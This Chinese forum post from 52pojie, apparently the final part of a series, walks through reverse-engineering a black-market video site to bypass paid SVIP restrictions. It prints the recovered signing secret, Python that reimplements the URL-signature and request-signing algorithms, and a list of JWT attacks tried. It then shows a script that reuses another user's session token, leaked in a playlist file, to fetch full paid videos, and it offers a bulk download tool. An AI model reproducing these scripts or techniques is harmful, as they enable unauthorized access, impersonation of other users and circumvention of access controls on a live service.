吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2413|回复: 20
收起左侧

[Android 原创] 【多栈实战】某黑产软件全链路逆向实录 (下)

  [复制链接]
JiGuro 发表于 2026-6-20 23:03
本帖最后由 JiGuro 于 2026-6-20 23:30 编辑

【多栈实战】
某黑产软件全链路逆向实录 (下) ——
从VIP裸链到金币视频JWT泄露越权实战 + 总结


开篇严正声明:本文仅用于学习逆向工程与网络安全相关技术,未掺杂任何不良目的。文中的软件已对其名字、图标及相关敏感信息做了模糊处理,本人也不会提供软件原包样品,内容仅作学习交流使用!同时,本人并未对该软件样本进行任何分享,下载仅做技术研究,均在个人设备上和虚拟设备中进行分析,并已在分析完后删除!

各位久等了,继中篇之后,最后一篇完结篇在今天发布。中篇对小白来说可能难度较高,但是下篇相对来说较为简单,主要学的是思路。建议各位备好花生、瓜子,慢慢细品,看得爽就行
如果还有没看过上、中篇的,可以先去把上篇和中篇看看,再来看本篇思路会更加清晰:
【多栈实战】某黑产软件全链路逆向实录 (上)(https://www.52pojie.cn/thread-2110455-1-1.html)
【多栈实战】某黑产软件全链路逆向实录 (中)(https://www.52pojie.cn/thread-2111428-1-1.html)

希望各位能够耐心看完,感谢大家的支持与理解!

一、初探

现在进入正题,我们先梳理一下我们在中篇中干了啥:
中篇从抓包切入,绕过 Flutter 代理证书限制,定位到 protobuf 请求及四重签名校验;通过 Blutter 逆向还原 Dart 层邀请码读取、防重机制与 SHA256 签名算法,并逆向 Web 端获取共享密钥,破解 x-sign 算法,最终编写注册机伪造邀请请求成功批量获取 VIP 会员。

但是,虽然获取了无限 VIP 会员,但是该黑产团伙所运营的平台只有 VIP 会员是不能够浏览平台中的所有流媒体视频的,VIP 会员只能观看 VIP 视频。而平台上的视频中还有一类视频,需要购买金币或者开通 SVIP 会员才能观看,以下简称金币视频
SVIP 会员的获取,只能通过购买的方式,平台方并未举办任何活动,用户也不能通过其他渠道来获取。该篇中,我们主要讲的就是绕过 SVIP 会员的限制,获取金币视频的完整内容。

由于我们在中篇已经知道,软件端和 Web 端并无区别,所以这期我们选择全程在 Web 端进行逆向和分析。

现在,我们先对整个网站进行整体观察,分析网站的技术栈,这是前篇没有讲到的。

我们同样先下载最关键的 index-DnaOsGrt.js ,像上期一样,通过关键词来查找,输入一些常见栈的关键词。

fXEuzN7NN.jpg

注:这里由于项目构建的原因,与文中的文件名不一样

1、识别构建工具

输入以下命令:
grep -n "modulepreload" index-DnaOsGrt_beauty.js
# 输出 modulepreload polyfill

grep -n "webpackJsonp" index-DnaOsGrt_beauty.js
# 输出 (空) 没有找到!
我们可以根据结果找到以下代码:
// Vite 的 modulepreload polyfill
if (t && t.supports && t.supports("modulepreload")) return;
for (const i of document.querySelectorAll('link[rel="modulepreload"]')) n(i);
我们可以确认网站使用 Vite 构建。因为文件开头有以上 Vite 的 modulepreload 自动注入代码。

2、识别前端框架

搜索 React 的核心标识:
grep -n "react-dom" index-DnaOsGrt_beauty.js
# 输出: rendererPackageName: "react-dom"

grep -n "createRoot" index-DnaOsGrt_beauty.js
# 输出: 可找到 createRoot API 调用

grep -n "react-jsx-runtime" index-DnaOsGrt_beauty.js
# 输出: 确认使用 JSX 编译模式
我们可以得知,网站使用 React 18(使用 createRoot 而非旧的 ReactDOM.render),生产版本(producation.min)。

然后看路由:
grep -n "@remix-run/router" index-DnaOsGrt_beauty.js
# 输出: 版本信息 v1.23.1
我们得知是 React Router v6(内含 @remix-run/router v1.23.1)。

3、识别UI组件库

很多网站通常会使用 Ant DesignElement Plus。但这个网站不同,搜索不到任何完整的 UI 框架名称。
# 搜索有没有 Ant Design
grep -n "antd\|ant-design\|@ant-design" index-DnaOsGrt_beauty.js
# 输出: (空)

# 搜索 Radix UI(headless 组件库)
grep -n "radix-ui" index-DnaOsGrt_beauty.js
# 输出: Symbol.for("radix-ui") ← 找到了!

# 搜索 CSS-in-JS 方案
grep -n "data-styled" index-DnaOsGrt_beauty.js
# 输出: 找到 styled-components 运行时

# 搜索图标库
grep -n "lucide-react" index-DnaOsGrt_beauty.js
# 输出: @license lucide-react v0.462.0 - ISC
# 还有大量 wr("Check", ...) / wr("ChevronDown", ...) 图标组件
我们可以根据以上结构推断,UI 组件库:不是 Ant Design,而是 Radix UI(headless 组件库)
CSS 方案: styled-components(运行时 CSS-in-JS)
图标库: lucide-react v0.462.0

4、识别跨平台框架

搜索 Capacitor——这是将 Web 应用打包成 iOS/Android 原生 App 的框架:
grep -n "Capacitor" index-DnaOsGrt_beauty.js

输出了大量 Capacitor 相关的代码:

/*! Capacitor: https://capacitorjs.com/ - MIT License */
CapacitorCookies
CapacitorHttp
CapacitorCustomPlatform
CapacitorPlatforms
CapacitorWebListener
这就可以验证我们之前的结论,APP 端和 Web 端,本质上就是一个项目。它使用 Capacitor 将 Web 代码打包成 iOS/Android 原生 App。这就解释了为什么代码中有大量"原生平台 vs Web 平台"的兼容逻辑(比如 base64 编码请求体、模拟 Cookie 机制)

其余不太重要的步骤我已经省略,通过以上步骤,我们可以绘制出完整的技术栈图谱:

tech_stack.png

分析完网站整体架构,我们就可以看我们今天的主题——流媒体了
我们先打开一个金币视频看看,发现和 VIP 视频相同,只有15秒的试看时间,超过15秒会弹窗:

IMG_20260620_115133.png

我们可以看到,该视频有两个链路,一个是普通链路,一个是极速高清,这两个链路其实没什么区别,我们就以普通链路为例进行分析。

Screenshot_2026-06-20-11-49-44-199_mark.via.png

我们抓取试看视频的链接,观察链接结构:

https://preview.xxx.vip/api/s3/p2/preview/15763/905b1def4a3873cfd9/preview/index.m3u8?line=ec58802c&t=1781913600&n=0c2bfef7d85b88dadba5ca105ac86781&s=6892807722b9a33a&_nk=1

fXDqQojuD.jpg

fXDqZUP2M.jpg

我们将路径分段解析:

url_structure.png

然后,我们再看 M3U8 的源内容:
#EXTM3U
#EXT-X-VERSION:6
#EXT-X-TARGETDURATION:6
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-INDEPENDENT-SEGMENTS
#EXT-X-KEY:METHOD=AES-128,URI="key_000001.key?_nk=1&line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=02223bd724f46917"
#EXTINF:6,
seg_000000.ts?line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=5d7e972e1f5c613f
#EXTINF:3,
seg_000001.ts?line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=90373c7f349c5d90
#EXTINF:3,
seg_000002.ts?line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=7bba37d0eba748ff
#EXTINF:3,
seg_000003.ts?line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=8392ef35df16d89f
#EXT-X-ENDLIST
播放列表中有 4 个分片,总时长 6+3+3+3 = 15 秒,正好是"试看 15 秒"内容。每个分片和密钥文件都有独立的 s= 签名参数。

我们可以看到,切片名是有规律的,以 seg_00000{0+n}.ts 的规律排列。这让我们想起了我们之前的教程:
【网络逆向】TS到视频HLS加密简单逆向实录 (https://www.52pojie.cn/thread-2105967-1-1.html)
这篇文章里讲了一些 M3U8 文件的基础知识,没看过的同学可以先去看一看,之前我们采用 TS 分片穷举的方法,成功获取了完整的视频。

不过经过尝试,seg_000004.ts 及以后的片段都是不存在的,这代表着我们之前的方法失效了,试看视频和完整视频的储存路径本身不一样。

接下来怎么办?很多同学可能束手无策。

我当时很快就想到了,因为该网站 VIP 视频和金币视频都是来自网站自建服务器而不是第三方 CDN ,我们是否可以根据 VIP 完整视频的地址推测出金币视频完整视频的地址呢?
为何会有这种推测?各位注意看文件路径,会发现路径中存在多个 "preview" 字段,那么我们不难猜想,可能修改这些字段的名称为 "svip" 等等特定字段,说不定就能直接获取完整视频。

带着这种思考,我们复用我们中篇的工具,先给自己的账户来几天 VIP 会员:

微信图片_20260620173152_733_52.jpg

成功,我们随便打开一个 VIP 视频,此时已经能观看完整版了。我们找到 VIP 完整视频的原链接:

https://vipvod.xxx.vip/api/s3/p2/full/14186/0850ac45ec530238b0/1080p/index.m3u8?line=7aa3f71a&t=1781934913&n=791dd5e3c6fb291b0356278b235134ca&s=99db5b0d9aad89c1&_nk=1

我们发现,链接和参数组成都极为相似,可以说,它们用的应该是同一套后端基础。
将两个链接对比,我们发现,完整版视频和预览版视频的区别在于以下几个参数:

子域名:
将 preview 改成了 vipvod
接口:
将 preview 改成了 full
目录:
将 preview 改成了 1080p

经过大量视频比对,我们可以总结出以下链接结构:
https://{vipvod、norvod或perview}.xxx.vip/api/s3/p2/{full或preview}/{video_id}/{hash}/{quality}/index.m3u8
而且,我们还发现一个漏洞,即 VIP 视频无鉴权
当我们把完整 VIP 视频的链接后方有关参数去除,只留下 M3U8 裸链,我们发现还是可以访问,并返回完整视频。
# 直接访问 VIP 的 full M3U8
url = "https://vipvod.xxx.vip/api/s3/p2/full/14186/0850ac45ec530238b0/1080p/index.m3u8"
# 返回 200!
也就是说,后面的参数都是没什么用的,看着吓人,实际上只是只纸老虎

更夸张的是,我们尝试修改路径中的参数:
# 把 mode 从 full 改成任意字符串
url = "https://vipvod.xxx.vip/api/s3/p2/abc/30053/xxxxxxxx/1080p/index.m3u8"
# 仍然 200!

# 子域名改成任意单词
url = "https://freevod.xxx.vip/api/s3/p2/full/30053/xxxxxxxx/1080p/index.m3u8"
# 仍然 200!
这说明什么?说明 VIP 视频所在的 CDN 路径完全没有做访问控制。服务器既不校验 URL 签名,也不校验 JWT,甚至不关心路径参数是否合法。只要你知道 video_id 和内容哈希 hash,就能直接拿到完整版的 M3U8。
同时,内部的 TS 和 Key 其实也存在这些漏洞。

我们大胆猜测,金币视频链接可能同样存在如上漏洞。
于是,我们尝试将金币视频的链接也改成如下形式:

https://vipvod.xxx.vip/api/s3/p2/full/15763/905b1def4a3873cfd9/1080p/index.m3u8

测试后,服务器竟然返回了签名错误!

HTTP 403
签名错误

微信图片_20260620170019_729_52.jpg

同时经过测验,将后方的 index.m3u8 改成 ts ,仍然存在签名校验,这表示 M3U8 和 TS 的校验等级是一样的。

好,这次有意思了。服务器开始校验签名了。
后来梳理,有可能是服务器对 VIP 视频和金币视频做了不同等级的防护,由于金币视频是最高档的视频,所以当然也要动用所有资源对其进行保护。

二、金币视频的 “铜墙铁壁” —— URL Sign

再三决定之后,我还是决定从 M3U8 入手。怎么解决这个问题呢?我进行了如下几种方法的尝试。

1、裸链改参数

既然返回“签名错误”,说明 URL 缺少 s= 参数。我们尝试用 VIP 视频的思路,直接改参数:

https://vipvod.xxx.vip/api/s3/p2/full/{gold_video_id}/{hash}/1080p/index.m3u8?s=xxxxxxxxxxxxxxxx

这里的 s= 是随便写的。结果当然是:

HTTP 403
签名错误

这说明服务器确实在算 s=。

2、重放旧链接

我们又想,也许金币视频和 VIP 视频一样,历史链接的签名不会过期。于是我们从浏览器里抓到一个旧的、已经签名过的金币视频 M3U8 URL,直接用 curl 访问:
curl "https://vipvod.xxx.vip/api/s3/p2/full/xxxxx/xxxxx/1080p/index.m3u8?line=ec58802c&t=1780732800&n=fc7473fb2f35a36c5341f442bf8cb436&s=0995659c27bcac02"
结果依然是:

HTTP 403
签名错误

这说明签名是有时效性的。服务器会校验 t=(时间戳)和 n=(nonce),不能简单重放。

3、复用现有算法

我们注意到,链接中的三个参数和我们之前中篇逆向出来的 x-sign 中所包含的几个请求头非常相似,所以我们可以尝试考虑复用现有算法。
但问题是,x-sign32 字节,但是 s 参数却只有 16 个字节,就算更换算法或进行截取,都不匹配。
所以我只能放弃这种方法。

至此,前面三种方法都尝试了,且都没有效果。
理论上,生成 URL 签名的算法都在后端,因为这些链接也是通过 API 接口直接返回的。不过,我抱着试试的心态,回到 JS 代码里,尝试找到相关函数。

直接在 JS 中搜索很难找到(s= 太短),但我们可以观察这些参数的组合模式。从 M3U8 中我们看到的完整参数集合是:
?line={lineId}&t={timestamp}&n={nonce}&s={signature}
回到代码中,搜索这些参数的删除/设置操作可以找到关键位置。在 JS 中有一行非常关键的代码:
yne = ["t", "n", "s", "a", "_st"]
搜索 yne 的使用位置,会找到两处核心逻辑:V_() 函数和 mNe() 函数。它们在设置完 URL 参数后都会删除 yne 中列出的旧参数,然后写入新值。其中最关键的一行是:
o.parsedUrl.searchParams.set("s", h)
这里的 h 就是 s= 的值。而 h 来自:
h = SQ({
    secret: i.secret,
    mode: o.mode,
    videoId: o.videoId,
    lineIdShort: i.signedLineIdShort,
    variant: o.variant,
    path: o.relPath,
    timestamp: i.timestamp,
    salt: i.salt,
    authToken: u
})
找到了!s= 的值由 SQ() 函数生成!
继续在 JS 中搜索 function SQ,找到它的定义:
function SQ(e) {
    const t = sge(e),                              //  构建签名负载字符串
          r = bQ(t, e.secret).toString(),           // HMAC-SHA256 签名
          n = Number.isFinite(e.maxHexLength) 
              && (e.maxHexLength ?? 0) > 0 
              ? Math.floor(e.maxHexLength ?? 16) 
              : 16;
    return r.length > n ? r.slice(0, n) : r         // 截取前 16 个 hex 字符
}
sge() 函数负责将参数拼接成待签名的字符串:
function sge(e) {
    const t = e.path.trim().replace(/^\/+/, ""),   // 去掉路径开头的 /
          r = [
              e.mode.trim(),                         // 模式:preview / full
              String(e.videoId),                     // 视频 ID
              e.lineIdShort.trim(),                  // 线路短 ID
              e.variant.trim(),                      // 变体:preview / 1080p / 720p
              t,                                     // 相对路径
              String(e.timestamp)                    // 时间戳
          ],
          n = e.salt?.trim(),                        // 盐值(nonce)
          i = e.authToken?.trim();                   // 授权令牌
    // 可选字段按优先级追加
    return n && i ? r.push(n, i), n && r.push(n), i && r.push(i), r.join("|")
}
签名负载的格式是:

mode|videoId|lineIdShort|variant|relPath|timestamp|salt|authToken

用 | 分隔各部分,固定 6 个字段 + 可选 2 个字段。例如:

preview|30405|ec58802c|preview|index.m3u8|1777652271|fc7473fb2f35a36c|xxx.yyy

e.secret 作为 HMAC 的密钥。e.secret 其实就是我们中篇分析出的密钥6b5hR#7uVhJPZT1zAgA26fPSyx9Zh!Za
也就是说,x-sign 和 url sign 实际上使用的是同一个密钥。

现在我们还要解决一个问题,即 authToken 。在 SQ() 的参数中,authToken 如果不是从 URL 的 a= 参数中提取的,就是动态生成的。关键函数是 G_() 和它内部调用的 ige(),我们来逐行分析:
function ige(secret, uid) {
    // uid 格式校验:正整数字符串
    const num = Jpe(uid);    // 如 "999888777"
    const key = secret.trim();
    if (!num || !key) return null;

    // uid → 8 字节大整数
    const uidBytes = rge(num);    
    // rge: 十进制字符串→ 8字节 Uint8Array,big-endian
    // "999888777" → [0x00, 0x00, 0x00, 0x00, 0x3B, 0x9A, 0xC9, 0xFF]

    // secret → 前 8 字节(UTF-8 编码)
    const keyBytes = nge(key);
    // nge: UTF-8 编码后取前 8 字节
    // "6b5hR#7uVhJPZT1zAgA26fPSyx9Zh!Za" → 
    //   [0x36, 0x62, 0x35, 0x68, 0x52, 0x23, 0x37, 0x75]

    // XOR 每个字节
    const xorResult = new Uint8Array(8);
    for (let i = 0; i < 8; i++)
        xorResult[i] = (uidBytes[i] || 0) ^ (keyBytes[i] || 0);

    // XOR 结果 → 16 进制字符串(32 hex chars)
    const hexPart = wQ(xorResult);

    // HMAC-SHA256("playback_auth:{hexPart}", secret)
    const hmac = bQ("playback_auth:" + hexPart, key);
    const authSig = hmac.toString().slice(0, 8);  // 取前 8 个 hex 字符

    // 最终格式:"{hexPart}.{authSig}"
    return hexPart + "." + authSig;
}
综合以上分析,我们可以得出视频播放签名的完整公式:

sq_signature_formula.png

我们可以写一个 Python 脚本来验证签名是否正确,用现有的签名材料,看是否和最终签名匹配,verify_sq_sign.py
def compute_auth_token(secret, uid):
    uid_bytes = struct.pack(">Q", int(uid))
    key_bytes = secret.encode("utf-8")[:8]
    xor = bytes(a ^ b for a, b in zip(uid_bytes, key_bytes))
    hex_part = xor.hex()
    msg = f"playback_auth:{hex_part}".encode()
    sig = hmac.new(secret.encode(), msg, hashlib.sha256).hexdigest()[:8]
    return f"{hex_part}.{sig}"

# SQ 签名是否匹配
sign = compute_sq_sign(SECRET, MODE, VIDEO_ID, LINE_ID, VARIANT,
                       REL_PATH, TIMESTAMP, NONCE, URL_AUTH)
# True!
签名匹配!这证明我们的逆向分析没有问题
我们利用以上算法,我们可以直接生成带签名的完整链接,build_signed_url.py
def compute_auth_token(secret, uid):
    import struct
    uid_bytes = struct.pack(">Q", int(uid))
    key_bytes = secret.encode("utf-8")[:8]
    xor = bytes(a ^ b for a, b in zip(uid_bytes, key_bytes))
    hex_part = xor.hex()
    msg = f"playback_auth:{hex_part}".encode()
    sig = hmac.new(secret.encode(), msg, hashlib.sha256).hexdigest()[:8]
    return f"{hex_part}.{sig}"

auth_token = compute_auth_token(SIGN_SECRET, uid)
url = f"https://vipvod.xxx.xip/api/s3/p2/full/{video_id}/{hash}/1080p/index.m3u8"
      f"?line={line_id}&t={timestamp}&n={nonce}&a={auth_token}"
      f"&_st={session_token}&s={signature}&_nk=1"
这次请求,返回的不是“签名错误”了,而是:

HTTP 403
令牌无效

好家伙,还有高手?
看来,我们还需要进一步分析。

三、金币视频的 “铜墙铁壁” —— JWT

看来,金币视频和 VIP 视频之间的区别可不止一个 URL sign ,所谓令牌,指的当然是 JWT
JWT ( JSON Web Token ),在中篇已经提过了一些,在这里简单普及一下:

JWT 一般由三部分组成,用点号( . )分隔:

xxxxxxxxx.yyyyyyyy.zzzzzzzz
       ↑              ↑            ↑  
Header      Payload    Signature

1. Header(头部)

包含令牌类型和签名算法:
{
  "alg": "HS256",  // 算法:HMAC SHA-256
  "typ": "JWT"     // 类型:JWT
}
Base64Url 编码后形成第一部分。

2. Payload(载荷)

包含声明(claims),分为三种类型:

标准声明(Reserved Claims)
iss  (issuer):签发者
sub  (subject):主题(用户ID等)
aud  (audience):受众
exp  (expiration time):过期时间(Unix 时间戳)
nbf  (not before):生效时间
iat  (issued at):签发时间
jti  (JWT ID):唯一标识

公共声明: 自定义但建议避免冲突的字段,如  user_id 、 role

私有声明: 双方约定的自定义数据

Base64Url 编码后形成第二部分。

3. Signature(签名)

这是安全性的核心。签名用于验证消息未被篡改,并验证签发者身份。
签名生成公式:
Signature = Base64UrlEncode(
  HMACSHA256(
    Base64Url(Header) + "." + Base64Url(Payload),
    secret
  )
)
在简单了解过后,那么我们如何获取 JWT ?直接在浏览器中按 F12 ,打开开发者模式,就可以在服务器返回头中的 session_token 头中看到我们的 JWT

fXEwhtdhm.jpg

解码后如下:
{
  "alg": "HS256",
  "typ": "JWT"
}

{
  "sid": "a665796c-4e31-4c56-a434-fa1113920c03",
  "uid": 880086,
  "iss": "mediaapps",
  "aud": "user",
  "exp": 1781962109,
  "iat": 1781940509,
  "jti": "360fdbd3-0c2a-4a2d-8c89-82bad0357901"
}
因为我们是 VIP 用户,所以这条 JWT 是有效的 VIP JWT。我们把 VIP 用户的 JWT 放到 _st= 参数里,再次请求金币视频
# 使用 VIP 的 session_token
session_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzaWQiOiJhNjY1Nzk2Yy00ZTMxLTRjNTYtYTQzNC1mYTExMTM5MjBjMDMiLCJ1aWQiOjg4MDA4NiwiaXNzIjoibWVkaWFhcHBzIiwiYXVkIjoidXNlciIsImV4cCI6MTc4MTk2MjEwOSwiaWF0IjoxNzgxOTQwNTA5LCJqdGkiOiIzNjBmZGJkMy0wYzJhLTRhMmQtOGM4OS04MmJhZDAzNTc5MDEifQ.thKLQTg..."

url = build_m3u8_url(info, uid=567931, line_id="ec58802c", timestamp=..., nonce=..., session_token=session_token)
这次返回的是:

HTTP 403
此为金币视频,购买后才能观看

这说明:
1、签名是对的。
2、JWT 格式是对的,没有过期。
3、但是 VIP 用户的权限不够,金币视频需要 SVIP 权限。
4、服务器确实会校验金币视频的 JWT。


既然 VIP 的 JWT 不够,我们自然想:能不能伪造一个 SVIP 的 JWT
我们很容易就知道,服务器校验的其实就是 uid ,如果我们通过遍历或者其他方式获取一个 SVIP 账户的 uid ,再通过伪造 JWT ,就可以成功请求。

JWT 的签名是 HS256,也就是 HMAC-SHA256(header.payload, secret)。如果我们知道 secret,就能自己签发任意 JWT
我们先用已知的 API 签名密钥 6b5hR#... 试了一下,发现不匹配。这种情况也很正常,因为 JWT 本身就是确保安全的签名,不可能将私钥放在前端。

我们还尝试了很多常见的 JWT 漏洞:
算法切换攻击:把 alg 改成 none
RS256 公钥伪造:如果服务端支持 RS256,尝试用公钥当密钥
Kid 注入:尝试加入 kid 字段,或 kid 改成已知值或注入路径
修改 uid:尝试直接修改 uid


结局不出意料,全部失败,服务端返回:
HTTP 403
令牌无效
这说明金币视频的 CDN JWT 校验非常严格。

关于 JWT 漏洞,各位可以参考以下这篇文章:
【Web安全】JWT常见安全漏洞总结 (https://jishuzhan.net/article/2056894088054149122)

既然伪造 JWT 不行,我们尝试找密钥。我尝试了:
1、JS 代码中所有可见的类似密钥字符串
2、服务器配置文件泄露
3、GitHub 上是否有该项目的后端源码或模板
4、通过工具对密钥进行爆破


一无所获。这个密钥确实只在服务端。

相信到这里,绝大多数同学都要放弃了

四、柳暗花明...又一劫?

在绝望中,我们开始大量观察金币视频的 URL。我们发现一个奇怪的现象——金币视频的链接可以分成两类

类型 A(占 70% 以上):
https://preview.xxx.vip/api/s3/p2/preview/{video id}/abc123def456/preview/index.m3u8
                                                                                     ↑
                                                                                     哈希段:字母较少,数字较多

类型 B(占 30% 以下):
https://preview.xxx.vip/api/s3/p2/preview/{video id}/ghijklmnopqrstuvwx/preview/index.m3u8
                                                                                    ↑
                                                                                    哈希段:字母较多,数字较少

从纯技术角度看,哈希段就是一段随机字符串,理论上不应该有规律。但经验丰富的同学就知道,不同类型的内容(上传批次、转码任务、存储桶)往往会产生不同特征的哈希。类型 B 的哈希看起来像是来自另一批资源,或者另一个存储桶。

我们抱着试试看的心态,对类型 B 的金币视频使用 VIP 的裸链方法:
url = "https://preview.xxx.vip/api/s3/p2/preview/{video id}/ghijklmnopqrstuvwx/preview/index.m3u8"
# 不带任何签名参数
结果:
HTTP 200 OK
# 返回了完整的金币视频

哇!它居然是裸链开放的!

我们立刻测试了更多类型 B 的金币视频,发现它们大多数都可以裸链访问。而类型 A 则严格校验签名和 JWT

当时我们的第一反应是:类型 B 的金币视频是内部人员疏忽,没有加上鉴权。可能时间不够,也可能这批资源还没正式接入新的鉴权系统。
这个猜测是有道理的。我们检查了类型 B 的 M3U8 内容,想看看它内部的 TSkey 是否也需要签名。

我们下载了类型 B 金币视频的 M3U8 文件,查看它的原始内容。根据 VIP 视频的经验,正常来说,M3U8 应该是这样的:
#EXTM3U
#EXT-X-VERSION:6
#EXT-X-TARGETDURATION:6
#EXT-X-KEY:METHOD=AES-128,URI="key_000001.key?line=...&t=...&n=...&s=..."
#EXTINF:6,
seg_000000.ts?line=...&t=...&n=...&s=...
但我们看到的类型 B M3U8 里,每一行 URL 后面都带了一个奇怪的参数:
#EXT-X-KEY:METHOD=AES-128,URI="key_000001.key?line=...&t=...&n=...&s=...&_st=eyJ0eXAiOiJKV1Qi..."
#EXTINF:6,
seg_000000.ts?line=...&t=...&n=...&s=...&_st=eyJ0eXAiOiJKV1Qi...


每一行都带了一个 _st= 参数,而且它的值是一个有效的 JWT!


这是什么?
我们立刻解码这个 JWT
{
  "alg": "HS256",
  "typ": "JWT"
}

{
  "sid": "7b35ca63-ad27-4400-a43a-2eca7d0586ef",
  "uid": 567931,
  "iss": "mediaapps",
  "aud": "user",
  "exp": 1781885492,
  "iat": 1781863892,
  "jti": "e1d6d0cb-79b6-4433-8999-1cb2234eb4b9"
}
我们可以看到,这个 JWT 和上文准备伪造的 JWT 格式一模一样。由于这是出现在金币 M3U8 文件中的 JWT ,我们之前的分析又得到 TS 分片和 M3U8 的校验等级相同,我们可以大胆猜测:
这是一个 SVIP 用户的 JWT,且还依然有效!

很有可能,服务器在生成金币视频的 M3U8 时,需要为内部的 TS 和 key 填写 _st 参数。正常的请求会自带用户的 JWT,服务器把它写进去。但如果请求没有带 JWT(比如裸链请求),服务器又必须返回有效视频,那它只能从已生成的 SVIP JWT 池中随机抽取一个,填入 M3U8。
也就是说,这是一个信息泄露 / 溢出漏洞。

正常请求:
  用户请求 M3U8 → 带 JWT_A → 服务器把 JWT_A 填入 TS/key 的 _st 参数 → 返回

裸链请求(无 JWT):
  用户请求 M3U8 → 无 JWT → 服务器为了返回有效视频 → 从 SVIP 池随机取 JWT_SVIP → 填入 → 返回

至此,我们发现了全文中最大也是最关键的漏洞。
我们肯定不能这样结束,因为我们的最终目标是获取所有的金币视频的完整版本。

五、金币视频的 “铜墙铁壁” —— LineID

既然我们有了 SVIP JWT,我们想:能不能用它配合我们之前写的 build_signed_url.py 脚本,去请求类型 A 的严格校验金币视频?
我们修改了脚本里的 session_token
CONFIG = {
    "url_prefix": "https://vipvod.xxx.vip/api/s3/p2/full/15763/905b1def4a3873cfd9/1080p/index.m3u8", // 类型 A 金币视频链接,已修改参数
    "uid": 567931, // 从 SVIP JWT 中解码出来的 uid
    "line_id": "ec58802c",
    "session_token": "eyJ0eXAiOiJKV1Qi...", // 从类型 B M3U8 里提取的 SVIP JWT
}
运行脚本,结果:

HTTP 403
错误的 Line ID

WTF,我都做到这一步了,怎么还有问题?

我们这里先要知道,啥是 Line ID
Line ID 就是 CDN 线路 ID。在 URL 中它表现为 ?line= 后面的 8 位十六进制字符串。

经过大量观察,总共有四个已知 Line ID

ec58802c
00f9bbcb
7aa3f71a
cdbbf8ef

这些都是从 VIP 视频、B 类型金币视频或 preview 视频里总结出来的。但 A 类型金币视频可能使用不同的线路 ID。

我们在 build_signed_url.py 里逐个尝试这四个 Line ID
for line_id in ["ec58802c", "00f9bbcb", "7aa3f71a", "cdbbf8ef"]:
    CONFIG["line_id"] = line_id
    # 运行 build_m3u8_url 并请求
结果:全部返回错误的 Line ID

这说明:
1、A 类型金币视频有独立的线路 ID
2、或者线路 ID 不是随机的,而是和视频 ID、内容哈希绑定的。
3、或者服务器对这条请求有其他校验。


同时,另一个让我们困惑的现象是:在浏览器的正常请求中,网页从来不会在 M3U8 URL 里加上 _st 参数只在 TS 和 key 的 URL 里出现 _st。这说明 _st 参数可能是 CDN 内部转发时使用的,而不是前端主动添加的
也就是说,我们之前用 build_signed_url.py 手动拼接 _st 参数请求 M3U8 的方式,可能不符合服务器的预期流程。服务器看到 M3U8 请求带了 _st,可能觉得“这不合理”,于是返回错误的 Line ID——这个错误信息可能只是一个通用的拒绝借口

六、破局

难道,我们前面的努力都白费了吗?
既然直接构造 M3U8 URL 走不通,我们决定回到浏览器控制台,看看网页到底是怎么获取金币视频播放地址的。
我们在 DevTools 的 Network 面板里过滤,发现了一个关键 API:

GET /api/videos/{video_id}/preview
Host: xxx.cloudfront.net

这个接口返回视频的播放信息,包括 M3U8 URL、线路 ID。它用于试看视频的获取。

fXEwm0GG6.jpg

我们仍然从 VIP 视频中寻找经验,发现当请求完整视频时,后方的 preview 会被改成 playback ,而接口返回视频的播放信息,包括 M3U8 URL、线路 ID、JWT 等。它用于完整视频的获取。

fXEzJKwti.jpg

我们观察这个接口的请求头,发现它需要:

X-Sign:API 请求签名。
Authorization: Bearer <JWT>:用户身份 JWT。

而这两样东西,我们正好都有!
X-Sign 可以用我们中篇已经逆向出来的 API 签名算法生成。
JWT 可以用我们手里通过类型 B 金币视频所泄露的 SVIP 用户 JWT


于是我们写了 repro_playback.py 脚本。核心逻辑是:
import argparse
import base64
import hashlib
import secrets
import requests
import time
from urllib.parse import urlparse, parse_qs

SIGN_SECRET = "6b5hR#7uVhJPZT1zAgA26fPSyx9Zh!Za"

def compute_sign(method, path, query, timestamp, device_id):
    strip = path.replace("/api", "", 1) if path.startswith("/api") else path
    raw = "\n".join([SIGN_SECRET, method.upper(), strip, query or "",
                     str(timestamp), device_id])
    return hashlib.sha256(raw.encode()).hexdigest()

def main():
    video_id = 30053
    endpoint = "playback"
    jwt_token = DEFAULT_JWT
    bearer = f"Bearer {jwt_token}"
    base_url = f"https://xxx.cloudfront.net/api/videos/{video_id}/{endpoint}"

    device_id = secrets.token_hex(16)
    path = f"/api/videos/{video_id}/{endpoint}"
    nonce = secrets.token_hex(16)
    timestamp = max(1, int(time.time()) - 5)
    sign = compute_sign("GET", path, "", timestamp, device_id)

    headers = {
        "Accept": "application/x-protobuf",
        "Authorization": bearer,
        "X-Device-Id": device_id,
        "X-Nonce": nonce,
        "X-Sign": sign,
        "X-Timestamp": str(timestamp),
    }

    resp = requests.get(base_url, headers=headers, timeout=30)
    print(f"HTTP {resp.status_code}")
    # 解析 protobuf 响应...
这个脚本运行后,服务端返回了 protobuf 编码的响应。我们用脚本里自带的 decode_protobuf 函数解析,成功从中提取出了 M3U8 URL 和线路信息,我们成功获取了完整的金币视频!
而且,我们一口气就解锁了多条线路和多个画质。

最后,我们写了一个自动化脚本,只要提供视频ID和提取 JWT 的金币视频链接,就可以解锁全站任意视频。
脚本我已经放到文末了,需要的可以自行下载。

使用方法:
usage: video_download.py [-h] [--vid VID] [--m3u8-url M3U8_URL] [--jwt JWT] [--endpoint {playback,preview}] [--save-links FILE] [--download-video] [--stream STREAM] [--download-dir DIR]
                         [--concurrency CONCURRENCY]

视频自动解析脚本

options:
  -h, --help            show this help message and exit
  --vid VID             视频 ID
  --m3u8-url M3U8_URL   M3U8 链接(提取 JWT)
  --jwt JWT             直接提供 JWT
  --endpoint {playback,preview}
                        请求接口(默认 playback)
  --save-links FILE     保存链接到文件
  --download-video      非交互模式: 下载视频
  --stream STREAM       指定下载的流序号(配合 --download-video)
  --download-dir DIR    下载目录
  --concurrency CONCURRENCY
